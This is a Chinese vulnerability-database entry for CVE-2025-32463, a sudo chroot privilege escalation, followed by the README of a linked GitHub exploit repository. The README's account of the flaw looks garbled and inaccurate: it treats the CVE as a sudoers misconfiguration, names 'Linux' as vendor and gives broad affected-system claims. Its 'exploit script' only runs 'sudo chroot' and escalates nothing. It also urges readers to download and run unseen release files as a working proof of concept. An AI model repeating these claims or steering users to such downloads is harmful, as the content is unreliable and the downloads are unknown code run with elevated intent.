Linux Sudo chroot 本地权限提升漏洞

漏洞信息

漏洞名称： Linux Sudo chroot 本地权限提升漏洞

漏洞编号：

• CVE： CVE-2025-32463

漏洞类型： 权限提升

漏洞等级： 高危

漏洞描述： CVE-2025-32463是一个影响Linux系统的本地权限提升漏洞，通过滥用sudo chroot命令，攻击者可以在未授权的情况下获得root权限。这一漏洞的存在严重威胁了Linux环境的安全性，尤其是在允许未授权用户执行sudo chroot命令的系统上。

受影响产品: sudo是Linux系统中一个重要的命令，允许用户以其他用户（通常是超级用户）的安全权限运行程序。chroot命令则用于改变当前运行进程及其子进程的根目录。这两个命令的结合使用在特定配置下可能导致安全漏洞。此漏洞主要影响Ubuntu 20.04及以后版本、Debian 10及以后版本、CentOS 7及以后版本，以及任何允许未经验证的sudo chroot命令的Linux发行版。

漏洞解释: 当具有有限权限的用户使用sudo执行chroot命令时，可以通过操纵环境来执行超出预期目录的命令。这种漏洞的根本原因在于sudo命令配置不当，缺乏对chroot命令使用的严格限制，从而导致权限提升。

影响分析: 利用此漏洞，攻击者可以执行任意命令作为root用户，从而完全控制系统。这种攻击不需要复杂的用户交互，可以在本地环境中自动执行，极大地增加了安全风险。此外，由于sudo和chroot是Linux系统中的基础命令，这一漏洞的广泛存在性使得其影响范围广泛，可能导致严重的数据泄露、服务中断等安全问题。

产品厂商： Linux

产品名称： sudo

来源： https://github.com/SkylerMC/CVE-2025-32463

类型： CVE-2025:github search

仓库文件

• LICENSE
• README.md
• exploit.sh
• img

来源概述

CVE-2025-32463: Local Privilege Escalation via Sudo chroot in Linux

Overview

CVE-2025-32463 is a vulnerability that allows local privilege escalation to root through the misuse of the sudo chroot command in Linux systems. This flaw can lead to serious security risks if exploited, allowing unauthorized users to gain elevated privileges. Understanding and mitigating this vulnerability is crucial for maintaining the security of Linux environments.

Table of Contents

• Description
• Affected Systems
• Exploit Details
• Proof of Concept
• Mitigation Strategies
• Usage
• Contributing
• License
• References

Description

The sudo command in Linux allows users to run programs with the security privileges of another user, typically the superuser. The chroot command changes the root directory for the current running process and its children. When combined incorrectly, these commands can allow an attacker to escape the restricted environment and gain root access.

This vulnerability primarily affects systems that allow unprivileged users to execute sudo chroot without proper restrictions. Attackers can exploit this flaw to execute arbitrary commands as the root user, compromising the entire system.

Affected Systems

The following systems are known to be affected by CVE-2025-32463:

• Ubuntu 20.04 and later
• Debian 10 and later
• CentOS 7 and later
• Any Linux distribution that allows sudo chroot without proper validation

Ensure to check your specific distribution for patches and updates regarding this vulnerability.

Exploit Details

The exploit for CVE-2025-32463 works by leveraging the sudo command’s configuration. When a user with limited permissions runs a chroot command with sudo, they can manipulate the environment to execute commands outside the intended directory.

Steps to Exploit

1. Identify Vulnerable Configuration: Check the /etc/sudoers file for any chroot entries that do not have strict permissions.

2. Execute the Exploit: Use the following command structure to escalate privileges:

   sudo chroot /path/to/vulnerable/directory /bin/bash

3. Gain Root Access: Once inside the chroot environment, execute commands that could lead to a root shell.

Example Exploit Script

#!/bin/bash
## Example exploit script for CVE-2025-32463

## Check for vulnerable sudo configuration
if sudo -l | grep -q 'chroot'; then
    echo "Vulnerable configuration found!"
    sudo chroot /path/to/vulnerable/directory /bin/bash
else
    echo "No vulnerable configuration found."
fi

Proof of Concept

For a working proof of concept, you can download the necessary files from the Releases section. Follow the instructions provided in the release notes to execute the proof of concept safely.

Mitigation Strategies

To protect against CVE-2025-32463, consider the following mitigation strategies:

1. Update System Packages: Ensure your Linux distribution is up to date. Check for any security patches related to sudo and chroot.

2. Restrict Sudo Access: Review the /etc/sudoers file and limit the use of sudo chroot to trusted users only. Use the visudo command to edit this file safely.

3. Use Security Tools: Employ security tools that can scan for vulnerabilities in your system, including those related to privilege escalation.

4. Implement Logging: Enable logging for all sudo commands to monitor for any suspicious activity.

5. Educate Users: Train users on the risks associated with running commands with elevated privileges and the importance of security best practices.

Usage

To utilize the tools provided in this repository, follow these steps:

1. Download the Release: Visit the Releases section to download the latest version.

2. Extract the Files: Unzip the downloaded file to your desired directory.

3. Run the Exploit: Execute the provided scripts or commands as outlined in the documentation.

4. Monitor Results: Keep an eye on the output and logs for any indications of privilege escalation.

Contributing

Contributions are welcome! If you have ideas for improvements or additional features, please follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes and commit them.
4. Push your branch to your forked repository.
5. Submit a pull request with a clear description of your changes.

License

This project is licensed under the MIT License. See the LICENSE file for more details.

References

• CVE-2025-32463 on NVD
• Sudo Official Documentation

For more detailed information, please refer to the official documentation and community resources related to Linux security and privilege escalation.